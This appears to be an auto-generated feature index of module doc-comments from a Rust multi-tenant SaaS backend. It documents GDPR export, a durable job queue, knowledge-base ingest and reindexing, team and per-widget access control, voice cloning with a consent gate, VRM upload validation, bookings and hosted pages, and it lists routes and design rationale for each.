- **`tenants.gdpr.export-zip`** — Async ZIP export: background sweep loop (every 30s, FOR UPDATE SKIP LOCKED) builds per-tenant ZIPs from local tables (tenant, consent, quotas, agent_pairings, audit) + cross-service fan-out via X-Internal-Secret to live-control / voice / persona / alice / chat-bridge (direct DB) / world / social-api. Each fan-out failure produces a stub entry so users receive a complete archive. ZIP expires 7 days after completion. fanout-timeout: 30s export-ttl: 7d Module layout — each file owns one concern: * [`job`] — public [`run_job`] + [`spawn_loop`] surface. Owns the pending → running → completed state transitions. * `orchestrator` — top-level `build_zip` flow + README stub for the user-visible archive root. * `slice` — per-table local DB readers, sibling-service fan-out, chat-bridge direct-DB slice, and the `slice_path` URL builder. * `zip_writer` — the `write_entry` helper that serialises a JSON `Value` into one named entry inside the open archive. * `sign` — stateless HMAC-SHA256 signed, 7-day-expiring download tokens + the `/me/export/{job_id}/download?token=…` path builder so a completed ZIP can be fetched (e.g. from an email link) without a JWT while staying unforgeable. The full design (audit-log breadcrumbs, cross-service fan-out contract, Next.js path-shim) lives in the per-module doc-comments below.  
  *embed-accounts/src/export/mod.rs:3*

### tenants/jobs
- **`tenants.jobs.durable-queue`** — Generic durable background-job queue. enqueue() inserts a `jobs` row (kind/payload/tenant_id/dedup_key/max_attempts); spawn_loop() polls every 5s, claims due rows with `FOR UPDATE SKIP LOCKED` (bumping attempts) and reclaims crashed 'running' leases past a 5-minute visibility timeout, dispatches by kind, then on the outcome marks the row done, schedules a capped-exponential-backoff retry (base 30s, cap 1h), or dead-letters it at max_attempts. Platform-global infra table (no RLS): server-side enqueue + drain only, so no tenant-facing surface to isolate. First consumer: `dunning_email` (the Mollie-webhook past-due notice). visibility-timeout: 300s poll-interval: 5s default-max-attempts: 8 Design notes: * **At-least-once.** The visibility timeout reclaims a job whose worker crashed after claiming it but before settling it, so a job is never lost — at the cost of a possible re-delivery. Handlers must be idempotent (the dunning handler is: it resolves a fresh recipient + sends one email). * **Pure decision core.** [`backoff_delay`] and [`decide_next`] are pure functions with no DB / clock dependency, so the retry schedule and the attempt → DLQ transition are unit-tested without Postgres.  
  *embed-accounts/src/jobs.rs:16*

### tenants/kb
- **`tenants.kb.customer-safe-ingest-errors`** — Every kb-source ingest failure is classified into a STABLE machine code + a short human summary BEFORE it is persisted (error = summary, error_code = code — migration 0005). Raw upstream response bodies (the «upstream ingest returned 404: <!DOCTYPE…» soup the dashboard used to show) and dev-jargon SSRF internals («…rejected by SSRF guard (dns_resolve_failed)») never reach the row: upstream detail is truncated to ~200 chars into a log-only detail field. Legacy rows written before the taxonomy are mapped through the SAME classifier at serialization time (`customer_safe_error`), so the API never serves raw soup even without a data backfill.  
  *embed-accounts/src/rag_ingest.rs:86*
- **`tenants.kb.file-text-extraction`** — Local text extraction for KB file sources (§kb-ultrawiki multi-source): .txt/.md/.html pass through (the rag chunkers handle HTML stripping), .pdf extracts via pdf-extract (pure Rust) on the blocking pool wrapped in catch_unwind, .docx extracts via the zip crate + a dependency-free word/document.xml tag strip. Replaces the old ingest-by-self-HTTP-fetch for file sources, which mangled PDFs into utf8-lossy garbage. Extraction failures surface as typed errors the ingest task records on the source row (status='failed' + a human-readable reason). Why local extraction instead of the URL fetch the file sources used before: the rag crate's `ingest_url` treats every fetched body as text (`String::from_utf8_lossy`) — fine for HTML/markdown pages, garbage for binary PDF bytes. Reading the stored file straight from `KB_UPLOAD_DIR` and handing the rag router a pre-extracted [`openalice_rag::Document`] keeps the chunker/embedder/store path identical (same `{tenant}:{public_url}` document id, same `source_url` chunk key, so per-source stats / purge / upsert-dedup are unchanged) while making PDF and DOCX content actually readable.  
  *embed-accounts/src/kb_extract.rs:5*
- **`tenants.kb.scheduled-reindex`** — Tokio background task (6h tick) that re-ingests url-kind knowledge sources whose crawl is stale — widget_kb_uploads.last_indexed_at older than KB_REINDEX_DAYS (env, default 7; 0 disables the loop) or never stamped. Selection runs via the SECURITY DEFINER list_stale_kb_url_sources() (migration 0004 — the sweep is cross-tenant, RLS-scoped app reads see nothing) over active, non-preview widgets, capped at 20 sources per tick to bound crawl + embedding load. Each source's last_indexed_at is stamped BEFORE its ingest is spawned (anti-hammer: a permanently failing URL re-enters the queue after a full staleness window instead of every tick); a successful ingest re-stamps it honestly. Replaces the pre-multi-source widget-level sweep over brand_kb_url — brand URLs are now themselves url-kind source rows (seeded by migration 0004, synced on create/PATCH), so this sweep covers them and every wiki-added URL uniformly. The manual "Re-index all" button lives on POST /me/widgets/{id}/reindex (kb_upload::reindex_widget) and re-queues ALL kinds through the same per-source ingest engine. requires-env: [KB_REINDEX_DAYS (default 7, 0 = disabled)] batch-cap: 20 Why a sweep at all: a url source is a LIVE external page — the customer edits their site, the indexed chunks go stale, and the agent quietly answers from outdated content unless someone clicks "Re-index". The sweep closes that gap on a schedule while staying cheap: * Refresh-in-place: chunks upsert by their deterministic `{document_id}:{position}` ids exactly like the manual path, and the ingest engine drops any stale tail after success — a failed refresh never wipes previously indexed content. * Only active, non-preview widgets' sources are selected — preview twins share their parent's URL (same chunk key, pure duplicate work) and paused widgets shouldn't spend embedding budget. * Per-tick batch is capped (oldest-first, never-indexed first) so a large backlog drains across ticks instead of starving the pool.  
  *embed-accounts/src/reindex.rs:5*
- **`tenants.kb.sources-api`** — JWT + per-widget-ReBAC CRUD over knowledge sources: GET list (all kinds, enriched with live per-source chunk stats from rag_chunks), POST batch URL add (per-item accept/reject with stable reason codes; tenant-wide kb_pages_quota enforced server-side), POST {source}/reindex (re-queue one guarded chunk purge + stored-file removal + brand_kb_url unlink). The file/text ingress points stay on the existing /kb-upload + /kb-text routes — rows land in the SAME registry, so this list is the wiki UI's single source of truth. Routes (under the JWT + rate-limit /me layer): * `GET    /me/widgets/{id}/kb/sources`                      — list (View) * `POST   /me/widgets/{id}/kb/sources`                      — add URLs, batch (Edit) * `POST   /me/widgets/{id}/kb/sources/{source_id}/reindex`  — re-queue one source (Edit) * `DELETE /me/widgets/{id}/kb/sources/{source_id}`          — remove one source (Edit) (legacy alias: DELETE /me/widgets/{id}/kb-uploads/{source_id})  
  *embed-accounts/src/handlers/me/kb_sources.rs:6*
- **`tenants.kb.widget-uploads`** — JWT-gated /me/widgets/{id}/kb-upload surface (§widget-kb-uploads): upload (multipart, ≤10MB, .txt/.md/.html/.pdf/.docx), pasted text, list, plus the widget-level /reindex trigger (re-queues EVERY knowledge source of the widget — url pages refetch, files re-extract; §kb-ultrawiki M1). The file is written to KB_UPLOAD_DIR/tenant/{tid}/{uuid}.{ext} on the shared EU NVMe volume; EXACTLY like VRMs, embed-runtime (the public embed-api host) serves the resulting public_url at GET /v1/kb/tenant/{tid}/{file} from that same shared volume — tenants only WRITES, never serves. Each upload is an ADDITIVE source row (kind='file'/'text', status='queued'); the background ingest reads the stored bytes back, extracts text locally (kb_extract — real PDF/DOCX extraction) and indexes it tenant-scoped. file_id is a server-generated UUID (never user input); the resolved path is asserted to start within KB_UPLOAD_DIR. Every upload is audit-logged. Ownership is enforced (404 on a foreign / missing widget) before any write. The multi-source list/add/delete/per-source-reindex API lives in the sibling module `kb_sources` (§knowledge-sources). Routes (under the JWT + rate-limit /me layer; upload also gets a route-scoped 10MB DefaultBodyLimit set in router.rs): * `POST /me/widgets/{id}/kb-upload`  — upload a document (multipart field `file`). * `POST /me/widgets/{id}/kb-text`    — add a pasted-text source. * `GET  /me/widgets/{id}/kb-uploads` — list file/text sources (legacy shape; the wiki UI uses GET /me/widgets/{id}/kb/sources which includes url kinds). * `POST /me/widgets/{id}/reindex`    — re-queue ALL of the widget's sources.  
  *embed-accounts/src/handlers/me/kb_upload.rs:4*

### tenants/me
- **`tenants.me.workspace-ensure`** — The platform-signup flow (auth-direct + org-JWT) creates the USER and the ORGANIZATION at identity; Embed's workspace row (tenants/quotas/membership, keyed by org_id == tenant id) is provisioned HERE on first touch instead of inside the retiring auth_proxy signup. Idempotent FOR A GIVEN TENANT — every statement is ON CONFLICT DO NOTHING, so re-calling with the SAME `tenant_id()` is free. Distinct tenants are kept from colliding on the legacy `tenants_owner_email_active_uk` unique index by [`unclaimed_owner_email`] — see its doc comment for the P0 this closes (2026-07-10: a shared placeholder value starved the entire new-user funnel after the very first successful call anywhere).  
  *embed-accounts/src/handlers/me/workspace.rs:3*

### tenants/middleware
- **`tenants.middleware.rate-limit`** — Per-tenant token-bucket rate limiter on /me/* (default 600 req/min ≈ 10 RPS, overridable via TENANT_RATE_LIMIT_PER_MINUTE). Guards against runaway agent loops abusing a single bearer token while staying invisible to normal interactive users. Provided by openalice-axum-common::rate_limit. default-rpm: 600 Routes are split into: * `/health`                  — Traefik liveness probe. * `/tenants/*`               — signup + admin lookup. * `/me/*`                    — JWT-scoped current-user surface (export, account delete, consent, audit history, pairings). * `/agents/*`                — agent registry + marketplace. * `/internal/*`              — service-to-service, X-Internal-Secret-gated. Auth middleware (JWT extraction + tenant_id binding) lands in the next pass; for now the handlers stub-respond 501 so we can ship the wire surface and wire other services against it.  
  *embed-accounts/src/main.rs:3*

### tenants/model-catalog
- **`tenants.model-catalog`** — Region- and tier-aware LLM model catalog for the per-widget model selector (NAO 2026-06-26 — customer-selectable models split by EU/US region). The chosen entry's `id` is stored as the widget's `llm_model` (with `provider` → `llm_provider`); the vision/image path reuses the same model when `vision` is true (one model serves chat + vision by default). ## Region 🇪🇺 EU entries are **EU-sovereign** (Mistral). 🇺🇸 US entries flow data through a US provider and are therefore **hidden when the widget is `eu_only_mode`** (the same flag that already gates US-LLM/STT/TTS consent in agent-lite). ## Tier gating Each entry has a `min_tier`; a tenant on a lower plan cannot select it. The premium FLAGSHIPS (GPT-5.5 / Claude Opus / EU-premium-via-Langdock) are deliberately **NOT in this self-serve catalog** — at the flat per-conversation revenue they run NEGATIVE margin, so they are handled as Enterprise / PAYG (out of band), per the margin analysis.  
  *embed-accounts/src/models.rs:1*

### tenants/quotas
- **`tenants.quotas.per-tenant-surface`** — JWT-gated /me/* surface: tenant info, consent toggles (COALESCE PATCH), paginated audit history (cursor-based, max 200 rows), async GDPR export job queue, account-delete + cancel-delete (30-day grace), agent pairing/unpairing with capability scoping. Per-tenant rate limit layer (default 600 req/min). All require a valid JWT bearer with `tid` claim. Mutations go through audit_log so the GDPR export sees them. v1 surface: * `GET    /me/tenant`             — current tenant info. * `PATCH  /me/tenant`             — owner profile edit (name / email). * `GET    /me/consent`            — current toggle states. * `PATCH  /me/consent`            — flip one or more toggles. * `GET    /me/audit`              — paginated activity history. * `POST   /me/export`             — kick off async ZIP build. * `GET    /me/export/<id>`        — poll status. * `DELETE /me/account`            — schedule delete (30-day grace). * `POST   /me/account/cancel-delete` — back out within grace. * `POST   /me/account/password`   — self-serve change-password. * `GET    /me/account/api-keys`   — list personal API keys (no secrets). * `POST   /me/account/api-keys`   — mint a key (plaintext returned ONCE). * `DELETE /me/account/api-keys/<id>` — revoke a key. * `POST   /me/account/mfa/setup`  — begin TOTP enrollment (pending). * `POST   /me/account/mfa/activate` — confirm a code → enable MFA. * `POST   /me/account/mfa/disable`  — verify + disable MFA. * `GET    /me/sessions`           — list active login sessions. * `DELETE /me/sessions/<id>`      — revoke a login session. * `POST   /me/agents/<id>/pair`   — grant agent permission. * `DELETE /me/agents/<id>`        — revoke pairing. Module layout — handlers grouped by domain: * [`tenant`] — GET /me/tenant + PATCH /me/tenant (profile edit) + TenantInfo type. * [`consent`] — get/patch consent toggles + state types. * [`audit`] — GET /me/audit pagination. * [`account`] — schedule + cancel delete (30-day grace) + change-password. * [`api_keys`] — list / create-once / revoke personal API keys (proxy to auth). * [`mfa`] — TOTP setup / activate / disable (proxy to auth). * [`sessions`] — list + revoke the owner's auth sessions (proxy to auth). * [`export`] — start + poll async GDPR ZIP job. * [`pairings`] — pair/unpair/list third-party agents. * `common` — `audit_log` insert helper + shared error builders.  
  *embed-accounts/src/handlers/me/mod.rs:3*

### tenants/seed
- **`tenants.seed.per-env`** — Env-gated, idempotent demo seeder. `OPENALICE_ENV=dev|staging` inserts the demo accounts + the three demo widgets (wgt_demo_aria, wgt_embed_landing, wgt_openalice_site) so a fresh dev DB reproduces the live embed demo. `prod` is a hard NO-OP — it refuses to seed even if invoked. Every insert is `ON CONFLICT DO NOTHING` so re-running is safe. Runs AFTER migrations. gated-by: OPENALICE_ENV prod-safety: hard no-op (Seeded::None) — never writes a row in prod ## Why a seeder (not a migration) Seed is *data*, migration is *schema*. The two never mix (a migration runs once per DB and is checksum-tracked; a seed is demo data we want to be able to re-apply by hand). This module runs as the `seed` subcommand on the tenants binary AFTER `sqlx::migrate!`, against the same pool. ## What it seeds (dev/staging) Mirrors the live `embed_accounts` dev rows read-only on 2026-06-11: * tenant `smoke-test@blal.pro` ("Smoke Tester") — owns wgt_demo_aria + wgt_embed_landing. * tenant `hello@openalicelabs.com` ("OpenAlice Labs") — owns wgt_openalice_site. Widget config (persona, accent, voice/provider, allowed_domains, greeting) matches the live demo so the embed-demo-smoke.sh paths work end-to-end. ## Companion auth user (cross-repo follow-up) The dashboard login (openalice-auth) needs a matching demo USER row for `smoke-test@blal.pro` / `hello@openalicelabs.com` to actually log in via the UI. That lives in a DIFFERENT repo+DB (openalice-auth / users table) and is flagged as a follow-up — this seeder only owns the tenants side.  
  *embed-accounts/src/seed.rs:5*

### tenants/team
- **`tenants.team.members`** — Multi-user team support for a tenant workspace. A tenant has a set of members (owner / admin / member / viewer). Owners and admins can invite new users via a token-based invite flow, change roles, and remove members. The last owner of a workspace cannot be removed. SCIM provisioning. # Wire surface GET    /me/team/members              — list members of the caller's workspace. POST   /me/team/invites              — create an invite token (owner/admin only). POST   /me/team/invites/{token}/accept — accept an invite (logged-in user). PATCH  /me/team/members/{id}         — change a member's role (owner/admin). DELETE /me/team/members/{id}         — remove a member (owner/admin); the last owner cannot be removed. # Permission model — `can(role, action)` | action               | owner | admin | member | viewer | |----------------------|-------|-------|--------|--------| | invite_member        |  yes  |  yes  |  no    |  no    | | change_role          |  yes  |  yes* |  no    |  no    | | remove_member        |  yes  |  yes* |  no    |  no    | | manage_billing       |  yes  |  no   |  no    |  no    | | edit_widgets         |  yes  |  yes  |  yes   |  no    | | view_everything      |  yes  |  yes  |  yes   |  yes   | *admin cannot elevate a target's role to `owner` or change an owner's role. # IDOR protection Every query is scoped by `account_id = auth.tenant_id()` so a user cannot enumerate or mutate another tenant's members even with a valid JWT. # Email delivery NOT implemented in milestone-1 (no Brevo key yet). The invite token is shown / copied in the dashboard UI — the same pairing-code pattern used by the Telegram connector. Flagged as U4-milestone-2.  
  *embed-accounts/src/handlers/me/team.rs:4*

### tenants/voices
- **`tenants.voices.crud`** — JWT-gated /me/voices surface backing voice productization: list, clone (create), get, update (metadata), delete, sample-playback. Cloning proxies to the Mistral Voices API (api.mistral.ai/v1/voices — EU-sovereign, direct MISTRAL_API_KEY, never OpenRouter) via openalice-tts' MistralVoicesClient. Stores the resulting voice in tenant_voices, scoped to the authed tenant. Enforces an EXPLICIT GDPR Art. 9 biometric consent gate (consent_given=true required; false ⇒ hard 400 — never calls Mistral, never inserts). One cloned voice can be assigned to many widgets via widgets.voice_id + tts_provider= 'mistral-native'. DELETE NULLs widgets.voice_id pointing at the voice. Routes: * `GET    /me/voices`            — list this tenant's cloned voices. * `POST   /me/voices`            — clone a voice (base64 audio + consent). * `GET    /me/voices/{id}`       — fetch one voice (tenant-scoped). * `PATCH  /me/voices/{id}`       — update name/slug/tags (re-proxies). * `DELETE /me/voices/{id}`       — delete (Mistral + DB + NULL widgets). * `GET    /me/voices/{id}/sample`— proxy Mistral's sample audio bytes. Security: the MISTRAL_API_KEY never reaches the browser — every Mistral call is server-side. The mistral_voice_id is looked up by (id, tenant_id) BEFORE any Mistral call so one tenant can never touch another's voice.  
  *embed-accounts/src/handlers/me/voices.rs:3*

### tenants/vrm
- **`tenants.vrm.assets-crud`** — JWT-gated /me/vrm-assets surface (§tenant-vrm-assets): upload (multipart, ≤40MB, GLB-magic + VRMC_vrm/VRM validation), list, delete. The file is written to TENANT_VRM_DIR/tenant/{tid}/{uuid}.vrm on a shared EU NVMe volume; agent-lite serves the resulting public_url. Quota (the existing vrms_count resource) is checked + incremented in the SAME transaction as the insert (SELECT … FOR UPDATE on the quota row) so concurrent uploads can't bypass the cap. file_id is a server-generated UUID (never user input); the resolved path is asserted to start within TENANT_VRM_DIR. Every write is audit-logged. GDPR: DELETE removes file + row in one tx; the anonymize sweep rm's the whole tenant dir on account erasure. Routes (under the JWT + rate-limit /me layer; upload also gets a route-scoped 40MB DefaultBodyLimit set in main.rs): * `POST   /me/vrm-assets`       — upload a .vrm (multipart field `file`). * `GET    /me/vrm-assets`       — list this tenant's uploaded VRMs. * `DELETE /me/vrm-assets/{id}`  — delete file + row, decrement quota.  
  *embed-accounts/src/handlers/me/vrm_assets.rs:3*
- **`tenants.vrm.byte-validation`** — validate_vrm_bytes(&[u8]): a content-type gate for the /me/vrm-assets upload handler. Confirms the GLB magic ('glTF'), reads the binary glTF JSON chunk, and requires a VRM extension (VRMC_vrm or VRM) in either the document `extensions` or `extensionsUsed` — rejecting an arbitrary (non-VRM) glTF scene mesh. Also enforces the 40MB hard cap. No external deps beyond serde_json. This is NOT a full parse (bones/topology are not walked) — the in-browser three-vrm pre-validate + the widget's own loader catch deeper malformations. The GLB (binary glTF) layout this validator inspects: ```text ┌──────────── 12-byte header ────────────┐ │ magic  u32  = 0x46546C67  ("glTF" LE)  │ │ version u32                            │ │ length  u32 = total file length        │ ├──────────── chunk 0 (JSON) ────────────┤ │ chunkLength u32                        │ │ chunkType   u32 = 0x4E4F534A ("JSON")  │ │ chunkData   <chunkLength bytes of UTF-8 JSON> └────────────────────────────────────────┘ ``` We parse only chunk 0 (the JSON chunk) and look for the VRM extension.  
  *embed-accounts/src/vrm_validation.rs:3*

### tenants/widget-bookings
- **`tenants.widget-bookings.emails`** — Durable booking emails via the jobs queue (kind booking_email, dedup per booking×kind): owner_notify (new booking + confirm hint) + visitor_ack («заявка отправлена» in owner-confirm mode / instant confirmation in auto mode) on create, visitor_confirm when the owner confirms, reminder the day before (enqueued by the reminder sweep). Brevo transactional sender with the BREVO_API_KEY log-fallback; recipients + slot times resolved fresh per attempt, rendered in the page's timezone.  
  *embed-accounts/src/booking_email.rs:18*
- **`tenants.widget-bookings.owner-crud`** — JWT + per-widget-ReBAC booking inbox: GET lists bookings newest-first (View; optional ?status= filter validated against the vocabulary, ?days= lookback over created_at); PATCH /{booking_id} applies one status transition (Edit) through the pure crate::booking:: transition_allowed matrix — an illegal move is a typed 409 `invalid_transition`, an unknown status a typed 400. A transition INTO `confirmed` enqueues the visitor-confirmation email (durable booking_email job — the owner pressed «подтвердить»). Routes (under the JWT + rate-limit /me layer): * `GET   /me/widgets/{id}/bookings`              — list (View) * `PATCH /me/widgets/{id}/bookings/{booking_id}` — status transition (Edit)  
  *embed-accounts/src/handlers/me/widget_bookings.rs:8*
- **`tenants.widget-bookings.public-reserve`** — GET /public/pages/{slug}/availability?date=YYYY-MM-DD — the day's slot grid ({start, end, remaining} per slot, page timezone, mode) from the pure calendar core; 404 for unknown/disabled pages AND unconfigured booking (typed booking_not_configured). POST /public/pages/{slug}/ bookings {item_id?, slot_start, name, phone, email?, note?, source?} — validates the slot against the freshly computed grid, advisory-locks the widget-day, capacity-counts overlap-aware (409 slot_full), inserts status=new (owner_confirm) / confirmed (auto) with the is_outside_hours ROI flag and the source door (page default | chat — embed-runtime's reserve_slot tool), enqueues owner-notify + visitor-ack emails, returns {id, status}. GET /internal/insights/bookings — the unified-inbox booking slice (X-Internal-Secret, kind:"booking" items, never 500s).  
  *embed-accounts/src/handlers/bookings.rs:30*
- **`tenants.widget-bookings.reminder-sweep`** — Tokio background task (hourly tick) that selects CONFIRMED, un-reminded bookings starting within BOOKING_REMINDER_LEAD_HOURS (env, default 26 — «накануне»; 0 disables the loop) via the SECURITY DEFINER list_due_booking_reminders() (migration 0007 — the sweep is cross-tenant), stamps reminder_sent_at FIRST (the dedup flag on the re-fire), then — when the page's reminder_enabled config is on AND the visitor left an email — enqueues the durable booking_email reminder job. Capped per tick so a backlog drains across ticks. requires-env: [BOOKING_REMINDER_LEAD_HOURS (default 26, 0 = disabled)] batch-cap: 100 Why stamp-first: the same anti-hammer contract as the KB sweep — if the enqueue/send fails, the row is already stamped and will NOT be re-selected every tick; the durable jobs queue owns retries from that point. The stamp is also the honest answer to "was this visitor reminded?": a reminder that was skipped (config off / no email) is stamped too, so the row never haunts the queue.  
  *embed-accounts/src/booking_reminders.rs:7*
- **`tenants.widget-bookings.slot-math`** — Pure booking core: parse_booking_config (tolerant jsonb → typed config with clamped slot_len/capacity, auto|owner_confirm mode, optional structured hours override), compute_slots (weekly windows × slot length × capacity, DST-safe via chrono-tz — spring-forward gap slots are skipped, fall-back ambiguity resolves to the earliest instant), remaining_per_slot (overlap-aware capacity subtraction so bookings made under an older slot length still block the slots they cover), transition_allowed (the new→confirmed→arrived|no_show / cancelled lifecycle matrix) and is_outside_hours (the «ночная выручка» ROI flag). The weekly-hours shape matches the existing Business-Hours editor + embed-runtime's `BusinessHours` verbatim: `day` 0 = Sunday … 6 = Saturday (chrono's `num_days_from_sunday`), `open`/`close` 24h `"HH:MM"`, a window open on `[open, close)`.  
  *embed-accounts/src/booking.rs:11*

### tenants/widget-grants
- **`tenants.widget-grants.dashboard`** — JWT-gated /me/widgets/{id}/grants surface for per-widget sharing: GET lists the widget's ACTIVE grants (user/role/granted_by/created_at), POST shares the widget with a user at a role (admin-only; validates grant_role ∈ {viewer, editor}; upserts on the (widget_id, user_id) active-grant unique index so re-sharing flips the role), DELETE/{grant_id} revokes one grant (admin-only; soft-delete to status='revoked', keeping the row for audit). Each mutation writes an audit_log row. Widget ownership is enforced on every route so a tenant can never share / list / revoke on another tenant's widget. Routes (all tenant-auth gated, widget ownership enforced): * `GET    /me/widgets/{id}/grants`             — list active grants. * `POST   /me/widgets/{id}/grants`             — share (admin-only). * `DELETE /me/widgets/{id}/grants/{grant_id}`  — revoke (admin-only).  
  *embed-accounts/src/handlers/me/widget_grants.rs:8*
- **`tenants.widget-grants.guard`** — require_widget_access(state, auth, widget_id, View|Edit) — the fail-closed guard for the core per-widget routes. Resolves a caller to the OWNING tenant via two paths: (1) MEMBER — the caller's own tenant owns the widget, decided by the FGA engine against the caller's resolved tenant role (view=any member, edit=member+); (2) GUEST — a per-widget grant resolved WITHOUT tenant context via the platform-owned SECURITY DEFINER resolve_widget_grant(), decided by the FGA grant tuples (view=any grant, edit=editor grant). Neither path → 404 (never reveal existence); a resolved-but-insufficient capability → 403. Returns the owning tenant_id the handler must use for the data op.  
  *embed-accounts/src/handlers/me/widget_access.rs:41*

### tenants/widget-invites
- **`tenants.widget-invites.dashboard`** — JWT-gated EMAIL sharing for a widget. POST /me/widgets/{id}/share { email, grant_role } (admin-only; asserts widget ownership; validates role ∈ {viewer, editor} + email) resolves the email against tenants.owner_email: an EXISTING user → upserts a widget_grants row and returns {result:"granted", grant}; an UNKNOWN email → upserts a widget_invites pending row, sends a Brevo invite (dunning-style gate — log-fallback without the key, never fails the request) and returns {result:"invited", invite}. GET /me/widgets/{id}/shares returns BOTH the active grants (grantee email resolved from tenants.owner_email when possible, else null + user_id) AND the pending invites as one unified list for the Share UI. DELETE /me/widgets/{id}/invites/{invite_id} revokes a pending invite (admin-only; soft-delete to status='revoked'). Each mutation writes an audit_log row; ownership is enforced on every route. Routes (all tenant-auth gated, widget ownership enforced): * `POST   /me/widgets/{id}/share`                — share by email (admin-only). * `GET    /me/widgets/{id}/shares`               — unified grants + invites. * `DELETE /me/widgets/{id}/invites/{invite_id}`  — revoke a pending invite (admin-only). # The PUBLIC-ish ACCEPT slice (ReBAC #772, final backend piece) The invitee CONSUMES a `widget_invites` token and is minted a `widget_grants` row via [`accept_widget_invite`] (`POST /me/widgets/invites/{token}/accept`). This is the invitee-facing counterpart to the owner-facing share above — kept in this file exactly as the team flow keeps `accept_invite` alongside `create_invite` in `team.rs`. It mirrors `team::accept_invite` end-to-end: JWT-gated (the invitee signs up / signs in through normal auth FIRST — this binds the grant to a real `auth.user_id`, NO ensure-user / NO auto-creation), a token-lookup WITHOUT tenant context through the platform-owned SECURITY DEFINER resolver (`lookup_widget_invite_by_token`, platform-ddl/lookup_widget_invite_by_token.sql), then set-context-to-the- resolved-owning-tenant and an atomic consume-then-grant.  
  *embed-accounts/src/handlers/me/widget_invites.rs:23*

### tenants/widget-items
- **`tenants.widget-items.owner-crud`** — JWT + per-widget-ReBAC CRUD over the catalog shelf: GET lists the shelf in position order (View); PUT replaces it atomically (Edit) — >20 items ⇒ typed 400 `items_over_cap`, per-item validation (kind vocabulary, name/description lengths, price bounds, ISO-4217-shaped currency, duration only on services) ⇒ typed 400 with a stable reason code. Same View/Edit gate shape as `handlers::me::widget_pages`. Routes (under the JWT + rate-limit /me layer): * `GET /me/widgets/{id}/items` — list (View) * `PUT /me/widgets/{id}/items` — replace the whole shelf (Edit)  
  *embed-accounts/src/handlers/me/widget_items.rs:10*

### tenants/widget-pages
- **`tenants.widget-pages.owner-crud`** — JWT + per-widget-ReBAC CRUD over the S2 hosted-page config: GET reads the current page (404 until one is created), PUT upserts (slug validated a-z0-9- 3..40 + a reserved-word list, uniqueness violation ⇒ typed 409 `slug_taken`), POST /rotate-qr mints a fresh `qr_token` (overwrites the old one — see `crate::handlers::pages` for why that alone kills a leaked QR link). Same View/Edit gate shape as `handlers::me::kb_sources`. # @feature tenants.widget-pages.s2-host-allowlist PUT of an ENABLED hosted page self-heals the widget's `allowed_domains`: the S2 public host (host part of `S2_PUBLIC_BASE`, e.g. lily.blal.pro) is appended when the list is NON-empty and missing it — otherwise every widget session/message from the hosted page 403s on the runtime's origin gate (caught live 2026-07-12 on /l/demo-laden). Idempotent, capped at MAX_ALLOWED_DOMAINS, and an EMPTY list (= allow any origin) is deliberately left untouched. Routes (under the JWT + rate-limit /me layer): * `GET  /me/widgets/{id}/page`           — read (View) * `PUT  /me/widgets/{id}/page`           — upsert (Edit) * `POST /me/widgets/{id}/page/rotate-qr` — rotate the QR token (Edit)  
  *embed-accounts/src/handlers/me/widget_pages.rs:10*
- **`tenants.widget-pages.public-resolve`** — `GET /public/pages/{slug}` — the embed-dashboard's `/l/[slug]` SSR page calls this server-side to render the hosted page: returns {blocks, fallback, enabled, widget_public_id, capped}. Unknown slug or `enabled=false` both 404 (no existence leak). `capped` is a CHEAP, read-only echo of the same soft-stop decision the runtime's conversation meter applies (see [`page_capped`]) — never increments anything, so a page load can never itself consume conversation budget. `GET /q/{qr_token}` — the QR-code redirect: `302` to `{S2_PUBLIC_BASE}/l/{slug}` on a live token; an unknown, malformed (non-UUID), OR previously-valid-but-rotated-out token all `410` identically (indistinguishable by construction — rotation overwrites the column, see migration 0006; malformed tokens are parsed by hand so they never reach axum's default `Path<Uuid>` rejection, which would otherwise leak parser internals — security audit #9). Both routes sit on the main (non-`/me/*`) router, rate-limited per-IP (`oa_framework::rate_limit::IpRateLimit`) since neither carries a JWT to key a per-tenant bucket on.  
  *embed-accounts/src/handlers/pages.rs:9*

### tenants/widgets
- **`tenants.widgets.audit-log`** — JWT-gated endpoint returning the config-change timeline for a single widget.  Each entry records when and what changed (persona, knowledge, appearance, behaviour, voice, handoff, domains, retention, model, page, items, booking, other).  Tenant-scoped: the handler verifies the widget belongs to the requesting tenant before returning any rows. Route: * `GET /me/audit/{widget_id}?days=<n>&limit=<m>` Response (newest-first): ```json { "items": [ { "at": "2026-06-01T12:00:00Z", "kind": "persona", "summary": "Persona updated" } ], "total": 1 } ``` Query params: * `days`  — optional; restrict to last N days (≥1, ≤365; default: all). * `limit` — optional; max rows returned (1..=200; default 50).  
  *embed-accounts/src/handlers/me/widget_audit.rs:3*
- **`tenants.widgets.crud`** — JWT-gated /me/widgets surface: list, create, get, patch, delete. COALESCE-patch for partial updates (memory_mode + retention_days are the primary dashboard-Memory block knobs). Each mutation writes an audit_log row. Validated fields: name non-empty, mode in {sales,support,brand}, memory_mode in {off,session,persistent}, render_mode in {avatar,voice-only,text-only}, retention_days in {0,7,30,90,365}. Routes: * `GET    /me/widgets`        — list tenant's widgets (summary). * `POST   /me/widgets`        — create a new widget. * `GET    /me/widgets/{id}`   — fetch one widget (full row). * `PATCH  /me/widgets/{id}`   — partial update (COALESCE). * `DELETE /me/widgets/{id}`   — delete scoped to tenant. # @feature tenants.widgets.business-hours Per-widget business-hours / offline config stored as a `business_hours` JSONB column (migration 0030). Schema: {enabled, timezone, offline_message, (IANA timezone, HH:MM bounds, open<close, ≤50 windows). When a visitor opens the widget outside the configured open hours, agent-lite computes `is_offline` server-side in the session bootstrap so the embed widget shows the offline message + lead-capture form (§Slice-1). Status: LIVE (merged to mvp). # @feature tenants.widgets.transcript-email Per-widget transcript-email (Brevo) config stored as a `transcript_email` JSONB column (migration 0031). Schema: {enabled, to_address, redact_pii}. Validated on write by `validate_transcript_email` (boolean flags, email syntax, length bounds). When a conversation ends, agent-lite OPTIONALLY emails the full transcript to `to_address` via Brevo — gated ALSO on the process-wide `BREVO_API_KEY` in agent-lite (ships DORMANT until key is set). `redact_pii` scrubs emails/phones/digits from the email body (§Slice-4 PII toggle, branch u-slice4-pii-toggle). Status: LIVE-DORMANT (merged to mvp).  
  *embed-accounts/src/handlers/me/widgets.rs:3*
